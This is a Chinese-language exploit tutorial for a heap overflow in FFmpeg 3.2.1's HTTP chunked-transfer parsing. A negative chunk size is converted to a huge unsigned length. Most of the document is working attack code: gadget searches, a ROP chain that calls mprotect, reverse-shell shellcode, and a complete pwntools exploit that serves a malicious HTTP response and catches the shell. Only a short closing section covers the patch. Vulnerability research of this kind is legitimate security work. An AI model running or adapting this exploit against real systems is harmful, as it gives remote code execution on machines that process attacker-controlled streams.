0x01 漏洞分析
簡單來說,是因爲變量在傳遞過程中的類型不一致,導致了傳入的負數被轉化爲極大數,最終導致了堆溢出漏洞。
在溢出的buffer的高地址處,剛好有可利用的對象,其中的函數指針可以被覆蓋。如此,就可以在後續調用這個函數指針的時候成功劫持程序的控制流。
1.1 正常情況下的程序功能
ffmpeg的-i選項可以從指定的輸入流獲取視頻,並保存爲AVI格式。下面是一個正常使用的例子。
1.2 HTTP分塊編碼
HTTP Header中的Content-Length
字段用於告訴Client,響應實體的長度。Content-Length必須和實體實際長度一致,通常如果Content-Length比實際長度短,會造成內容被截斷;如果比實體內容長,會造成pending。
但是在獲取網絡文件等情景下,實體長度不是那麼容易獲得。爲了不依靠Header中的長度信息,也能讓Client知道實體的邊界,Transfer-Encoding
就是爲了解決這個問題的。最新的HTTP規範只定義了一種傳輸編碼:分塊編碼(chunked)。編碼使用若干個Chunk組成,由一個標明長度爲0的chunk結束,每個Chunk有兩部分組成,第一部分是該Chunk的長度,第二部分就是指定長度的內容,每個部分用CRLF隔開。
使用分塊編碼的response如下所示:
HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked
5\r\n
Hello\r\n
6\r\n
World!\r\n
0\r\n
\r\n
1.3 chunksize漂流記
漏洞就發生在ffmpeg處理HTTP分塊編碼response的過程中。
上一小節中說到,每個Chunk的第一部分是該Chunk的長度,代碼中使用chunksize表示。然後看一下chunksize在程序運行中經歷的傳遞和類型轉換。
可以發現當傳給recv函數時,chunksize最終被轉換成了size_t類型。
順便關注一下64位架構中的幾種整數類型。
類型 | 位數 | 範圍 |
---|---|---|
long long | 64 bit | -2^63 ~ 2^63 -1 |
int64_t | 64 bit | -2^63 ~ 2^63 -1 |
int | 32 bit | -2^31 ~ 2^31 - 1 |
size_t | 64 bit | 0 ~ 2^64 -1 |
由於size_t是無符號整數,那麼傳入一個負數-1將會被轉換爲2^64 - 1,這將遠大於buffrer的最大長度0x8000。此時如果傳遞長度大於0x8000的內容,將形成溢出。
0x02 利用思路
2.1 搭建環境
安裝pwntools等工具
$ sudo apt-get update $ sudo apt-get upgrade -y $ sudo apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential $ sudo pip install --upgrade pip $ sudo pip install --upgrade pwntools $ sudo pip install --upgrade ropper
使用下面的命令搭建環境:
安裝依賴:
sudo apt-get update sudo apt-get -y install autoconf automake build-essential libass-dev \ libfreetype6-dev libsdl2-dev libtheora-dev libtool libva-dev libvdpau-dev \ libvorbis-dev libxcb1-dev libxcb-shm0-dev libxcb-xfixes0-dev pkg-config \ texinfo wget zlib1g-dev yasm
編譯安裝FFmpeg 3.2.1
$ wget https://github.com/FFmpeg/FFmpeg/archive/n3.2.1.tar.gz $ tar xvfz n3.2.1.tar.gz $ mkdir ~/ffmpeg_build $ mkdir ~/ffmpeg_bin $ cd FFmpeg-n3.2.1/ $ ./configure --prefix="$HOME/ffmpeg_build" --bindir="$HOME/ffmpeg_bin" \ --disable-stripping $ make -j4 $ sudo make install
2.2 檢查程序保護
可以看到PIE(ASLR)是關閉的,這樣的話在利用過程中就會簡單很多。
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : ENABLED
NX : ENABLED
PIE : disabled
RELRO : Partial
2.3 劫持程序控制流
buffer剛好分配在一個AVIOContext
對象的前面,並且AVIOContext對象中包含有函數指針readpacket
。該對象的指針在avio_read函數中被使用,而avio_read函數將會在後續被調用——所以控制了read_packet就可以劫持程序控制流。
2.3.1 計算buffer和目標對象之間的距離
首先記錄了AVIOContext對象的地址爲0x1deebe0
然後查看buff的地址爲0x1de6b80
相差了0x1deebe0 - 0x1de6b80 = 0x8060
2.3.2 驗證填充
使用下面的代碼引發crash,
#!/usr/bin/python
from pwn import *
import time
import socket
# HTTP Headers
headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
"""
def main():
# Start a listener and wait for a connection from ffmpeg
while True:
p = listen(12345)
p.wait_for_connection()
log.success("Victim found!")
# Initialise the ffmpeg instance and prepare it for the bug
p.send(headers)
time.sleep(2)
# Trigger the bug with the overly large read
p.sendline("-1")
log.info("Bug triggered. Please wait for five seconds...")
time.sleep(2) # The sleep allows for a clean transmission boundary
payload = "A" * 0x8060
# Send the entire payload
log.info("Payload sent!")
p.send(payload)
# Close the socket to terminate the read on the ffmpeg end to process the
# overwrite
p.close()
if __name__ == '__main__':
main()
使用上面的代碼進行溢出後,查看AVIOContext對象,可以看到readpacket
字段已經被覆蓋。
gdb-peda$ p *(AVIOContext *)(0x1de6b80+0x8060)
$3 = {
av_class = 0x4141414141414141,
buffer = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
buffer_size = 0x41414141,
buf_ptr = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
buf_end = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
opaque = 0x4141414141414141,
read_packet = 0x41414141414141,
write_packet = 0x5c4040 <io_write_packet>,
seek = 0x5c4030 <io_seek>,
pos = 0x0,
must_flush = 0x0,
eof_reached = 0x0,
write_flag = 0x0,
max_packet_size = 0x0,
checksum = 0x0,
checksum_ptr = 0x0,
......
}
2.3.3 構造ROP劫持程序控制流
使用ropper工具尋找合適的gadgets
以pop rsi; ret
爲例:shadower@ubuntu:~/ffmpeg_sources/ffmpeg-3.2.1$ ropper --file ffmpeg --search "pop rsi; ret" [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop rsi; ret [INFO] File: ffmpeg 0x000000000003ca24: pop rsi; ret 0x15e8; 0x0000000000bd55b2: pop rsi; ret 0x17e8; 0x0000000000244cbb: pop rsi; ret 0x1ee8; 0x00000000008ff888: pop rsi; ret 0x280f; ...... 0x0000000000008b2c: pop rsi; ret;
放置好的gadgets如下面代碼所示
其中(1)~(5)標記了gadgets的執行順序。
#!/usr/bin/python from pwn import * import time import socket # HTTP Headers headers = """HTTP/1.1 200 OK Server: PwnServ/v1.0 Date: Sun, 11 Mar 1994 13:37:00 GMT Content-Type: text/html Transfer-Encoding: chunked """ # ROP Gadgets pop_rsp = 0x00000000004077e9 # pop rsp; ret; stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret; push_rbx_jmp_rdi = 0x000000000117fd75 # push rbx; jmp rdi; def main(): # Start a listener and wait for a connection from ffmpeg while True: p = listen(12345) # Wait for connection before sending payload log.info("Waiting for the victim...") p.wait_for_connection() log.success("Victim found!") # Initialise the ffmpeg instance and prepare it for the bug p.send(headers) time.sleep(2) # Trigger the bug with the overly large read p.sendline("-1") log.info("Bug triggered. Please wait for five seconds...") time.sleep(4) # The sleep allows for a clean transmission boundary payload = "A" * 0x8060 # Padding to start of AVIOContext struct # Setup the fake AVIOContext struct for the pivot into attacker controlled # memory payload += p64(stack_pivot) # [av_class] Pivot stack into controlled mem (3) payload += ("A"*8) * 4 # [buffer, buffer_size, buf_ptr, buf_end] payload += p64(pop_rsp) # [opaque] Value in RDI at (1). (2) payload += p64(push_rbx_jmp_rdi) # [read_packet] initial RIP control (1) payload += ("X"*8) * 3 # [write_packet, seek, pos] payload += "AAAA" # [must_flush] payload += p32(0) # [eof_reached] Must be zero or read terminates payload += "A" * 8 # [write_flag, max_packet_size] payload += p64(stack_pivot) # [checksum] One more stack pivot (4) payload += ("A"*8) * 11 # Padding to set up the stack for the main ROP # ROP chain starts here payload += p64(0xdeadbeef) # ROP Chain (5) payload += p64(0xcafebabe) payload += p64(0xba5eba11) # Send the entire payload log.info("Payload sent!") p.send(payload) time.sleep(2) # Close the socket to terminate the read on the ffmpeg end to process the # shellcode p.close() if __name__ == '__main__': main()
運行代碼,在crash現場可以看到,程序的RIP已經被控制。
劫持程序控制流之後,就是在內存中放置shellcode並執行。
2.4 改變堆內存屬性
尋找合適的內存地址
首先查看適合放置 shellcode的位置:gdb-peda$ vmmap Start End Perm Name 0x00400000 0x01446000 r-xp /home/shadower/ffmpeg_sources/ffmpeg-3.2.1/ffmpeg 0x01645000 0x01646000 r--p /home/shadower/ffmpeg_sources/ffmpeg-3.2.1/ffmpeg 0x01646000 0x0168d000 rw-p /home/shadower/ffmpeg_sources/ffmpeg-3.2.1/ffmpeg 0x0168d000 0x01e05000 rw-p [heap] 0x00007ffff0355000 0x00007ffff037f000 r-xp /usr/lib/x86_64-linux-gnu/libvorbis.so.0.4.8 ...... 0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped 0x00007ffffffde000 0x00007ffffffff000 rw-p [stack] 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
選擇可寫的內存段0x01646000用來寫入shellcode。
接下來要將這個內存段的屬性改寫成可執行。
使用mprotect()改變內存屬性
mprotect原型
#include <sys/mmap.h> int mprotect(const void *start, size_t len, int prot);
mprotect()函數把自start開始的、長度爲len的內存區的保護屬性修改爲prot指定的值。
prot可以理解爲讀寫執行的標誌位。各個位之間可以使用
|
進行連接。(權限標誌位通常使用或
運算)#define PROT_READ 0x1 /* Page can be read. */ #define PROT_WRITE 0x2 /* Page can be written. */ #define PROT_EXEC 0x4 /* Page can be executed. */
在ffmpeg中尋找可用的memprotect()
shadower@ubuntu:~/ffmpeg_sources/ffmpeg-3.2.1$ objdump -d ffmpeg | grep mprotect00000000004071f0 <mprotect@plt>: 4749b3: e8 38 28 f9 ff callq 4071f0 <mprotect@plt> 4749d3: e8 18 28 f9 ff callq 4071f0 <mprotect@plt>
ROP chain思路
上述的payload可以控制rip運行到deadbeef的部分。現在把deadbeef和後面的payload替換爲真正可用的payload:
- 改寫目標內存的屬性
mprotect(mprotect_segment, 0x500, PROT_READ | PROT_WRITE | PROT_EXEC) - 將shellcode拷貝到目標內存地址
- 跳轉到shellcode
# ROP Gadgets pop_rsp = 0x00000000004077e9 # pop rsp; ret; stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret; push_rbx_jmp_rdi = 0x000000000117fd75 # push rbx; jmp rdi; mprotect_segment = 0x01646000 mprotect_size = 0x500 mprotect_prot = 0x1 | 0x2 | 0x4 pop_rdi = 0x0000000000407c39 pop_rsi = 0x0000000000408b2c pop_rdx = 0x0000000000408859 write_gadget = 0x0000000000422544 # mov qword ptr [rsi], rdx; ret; mprotect_plt = 0x4071f0 def generate_mov(address_base, data): """Move data into memory startng at the given address_base with a write gadget.""" def chunks(l, n): """Yield successive n-sized chunks from l.""" for i in range(0, len(l), n): yield l[i:i + n] ropchain = "" for counter, i in enumerate(chunks(data, 8)): ropchain += p64(pop_rsi) # Pop the target address into RSI ropchain += p64(address_base + (counter * 8)) # Calculate the target ropchain += p64(pop_rdx) # Pop the 8 bytes of data into RDX ropchain += i.ljust(8, "\x90") # Make sure the data is aligned on 8 bytes ropchain += p64(write_gadget) # Trigger the write return ropchain def main(): ...... # The main ROP chain # This will do the following things: # 1. mprotect(mprotect_segment, 0x500, PROT_READ | PROT_WRITE | PROT_EXEC) # 2. copy shellcode into shellcode_segment # 3. jump to shellcode # Setup mprotect ROP chain payload += p64(pop_rdi) # Pop the first argument into RDI payload += p64(mprotect_segment) payload += p64(pop_rsi) # Pop the second argument into RSI payload += p64(mprotect_size) payload += p64(pop_rdx) # Pop the third argument into RDX payload += p64(mprotect_prot) payload += p64(mprotect_plt) # Run the mprotect function # Write the shellcode into our newly mprotected segment payload += generate_mov(mprotect_segment, shellcode) # Jump to shellcode payload += p64(mprotect_segment) ...... if __name__ == '__main__': main()
- 改寫目標內存的屬性
2.5 選擇shellcode
選用下面的shellcode生成反向shell
#include <stdio.h> #define IPADDR "\x7f\x01\x01\x01" /* 127.1.1.1 */ #define PORT "\x05\x39" /* 1337 */ unsigned char code[] = \ "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" "\x02"PORT"\xc7\x44\x24\x04"IPADDR"\x48\x89\xe6\x6a\x10" "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" "\x5f\x6a\x3b\x58\x0f\x05"; int main(void) { printf("Shellcode Length: %d\n", (int)sizeof(code)-1); int (*ret)() = (int(*)())code; ret(); return 0; }
改寫成Python版本
# Reverse Shell TCP Shellcode adapted from Russell Willis ip_addr = "127.1.1.1" ip_addr_packed = socket.inet_aton(ip_addr) port = 1337 port_packed = p16(port, endian="big") shellcode = ( "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" + "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" + "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" + "\x02"+ port_packed + "\xc7\x44\x24\x04" + ip_addr_packed+ "\x48\x89\xe6\x6a\x10" + "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" + "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" + "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" + "\x5f\x6a\x3b\x58\x0f\x05")
0x03 完整Exploit及驗證
3.1 最終版Exploit
```py
#!/usr/bin/python
from pwn import *
import time
import socket
# HTTP Headers
headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
"""
# Reverse Shell TCP Shellcode adapted from Russell Willis
ip_addr = "127.1.1.1"
ip_addr_packed = socket.inet_aton(ip_addr)
port = 1337
port_packed = p16(port, endian="big")
shellcode = (
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" +
"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" +
"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" +
"\x02"+ port_packed + "\xc7\x44\x24\x04" + ip_addr_packed+
"\x48\x89\xe6\x6a\x10" +
"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" +
"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" +
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" +
"\x5f\x6a\x3b\x58\x0f\x05")
# ROP Gadgets
pop_rsp = 0x00000000004077e9 # pop rsp; ret;
stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret;
push_rbx_jmp_rdi = 0x000000000117fd75 # push rbx; jmp rdi;
mprotect_segment = 0x01646000
mprotect_size = 0x500
mprotect_prot = 0x1 | 02 | 0x4
pop_rdi = 0x0000000000407c39
pop_rsi = 0x0000000000408b2c
pop_rdx = 0x0000000000408859
write_gadget = 0x0000000000422544 # mov qword ptr [rsi], rdx; ret;
mprotect_plt = 0x4071f0
def generate_mov(address_base, data):
"""Move data into memory startng at the given address_base with a write
gadget."""
def chunks(l, n):
"""Yield successive n-sized chunks from l."""
for i in range(0, len(l), n):
yield l[i:i + n]
ropchain = ""
for counter, i in enumerate(chunks(data, 8)):
ropchain += p64(pop_rsi) # Pop the target address into RSI
ropchain += p64(address_base + (counter * 8)) # Calculate the target
ropchain += p64(pop_rdx) # Pop the 8 bytes of data into RDX
ropchain += i.ljust(8, "\x90") # Make sure the data is aligned on 8 bytes
ropchain += p64(write_gadget) # Trigger the write
return ropchain
def main():
# Start a listener and wait for a connection from ffmpeg
p = listen(12345)
# Start a second listener for the reverse shell
rev = listen(port)
# Wait for connection before sending payload
log.info("Waiting for the victim...")
p.wait_for_connection()
log.success("Victim found!")
# Initialise the ffmpeg instance and prepare it for the bug
p.send(headers)
time.sleep(2)
# Trigger the bug with the overly large read
p.sendline("-1")
log.info("Bug triggered. Please wait for two seconds...")
time.sleep(2) # The sleep allows for a clean transmission boundary
payload = "A" * 0x8060 # Padding to start of AVIOContext struct
# Setup the fake AVIOContext struct for the pivot into attacker controlled
# memory
payload += p64(stack_pivot) # [av_class] Pivot stack into controlled m. (3)
payload += ("A"*8) * 4 # [buffer, buffer_size, buf_ptr, buf_end]
payload += p64(pop_rsp) # [opaque] Value in RDI at (1). (2)
payload += p64(push_rbx_jmp_rdi) # [read_packet] initial RIP control (1)
payload += ("X"*8) * 3 # [write_packet, seek, pos]
payload += "AAAA" # [must_flush]
payload += p32(0) # [eof_reached] Must be zero or read terminates
payload += "A" * 8 # [write_flag, max_packet_size]
payload += p64(stack_pivot) # [checksum] One more stack pivot (4)
payload += ("A"*8) * 11 # Padding to set up the stack for the main ROP
# The main ROP chain
# This will do the following things:
# 1. mprotect(mprotect_segment, 0x500, PROT_READ | PROT_WRITE | PROT_EXEC)
# 2. copy shellcode into shellcode_segment
# 3. jump to shellcode
# Setup mprotect ROP chain
payload += p64(pop_rdi) # Pop the first argument into RDI
payload += p64(mprotect_segment)
payload += p64(pop_rsi) # Pop the second argument into RSI
payload += p64(mprotect_size)
payload += p64(pop_rdx) # Pop the third argument into RDX
payload += p64(mprotect_prot)
payload += p64(mprotect_plt) # Run the mprotect function
# Write the shellcode into our newly mprotected segment
payload += generate_mov(mprotect_segment, shellcode)
# Jump to shellcode
payload += p64(mprotect_segment)
# Send the entire payload
log.info("Payload sent!")
p.send(payload)
# Close the socket to terminate the read on the ffmpeg end to process the
# shellcode
p.close()
# Wait for reverse shell
log.info("Please wait for your reverse shell.")
rev.wait_for_connection()
log.success("Success! Enjoy your shell!")
rev.interactive()
if __name__ == '__main__':
main()
```
0x04 驗證
0x05 Patch思路
5.1 針對此漏洞點的Patch思路
檢查chunksize的值,如果爲負數就中止程序。
if (s->chunksize >= 0) {
if (!s->chunksize) {
char line[32];
do {
if ((err = http_get_line(s, line, sizeof(line))) < 0)
return err;
} while (!*line); /* skip CR LF from last chunk */
s->chunksize = strtoll(line, NULL, 16);
if (!s->chunksize)
return 0;
}
if (s->chunksize > 0) {
size = FFMIN(size, s->chunksize);
}
}
5.2 官方的Patch思路
官方commit 2a05c8f813de6f2278827734bf8102291e7484aa將所有的長度和偏移變量類型,都修改成了無符號類型,從而避免類型混淆的問題。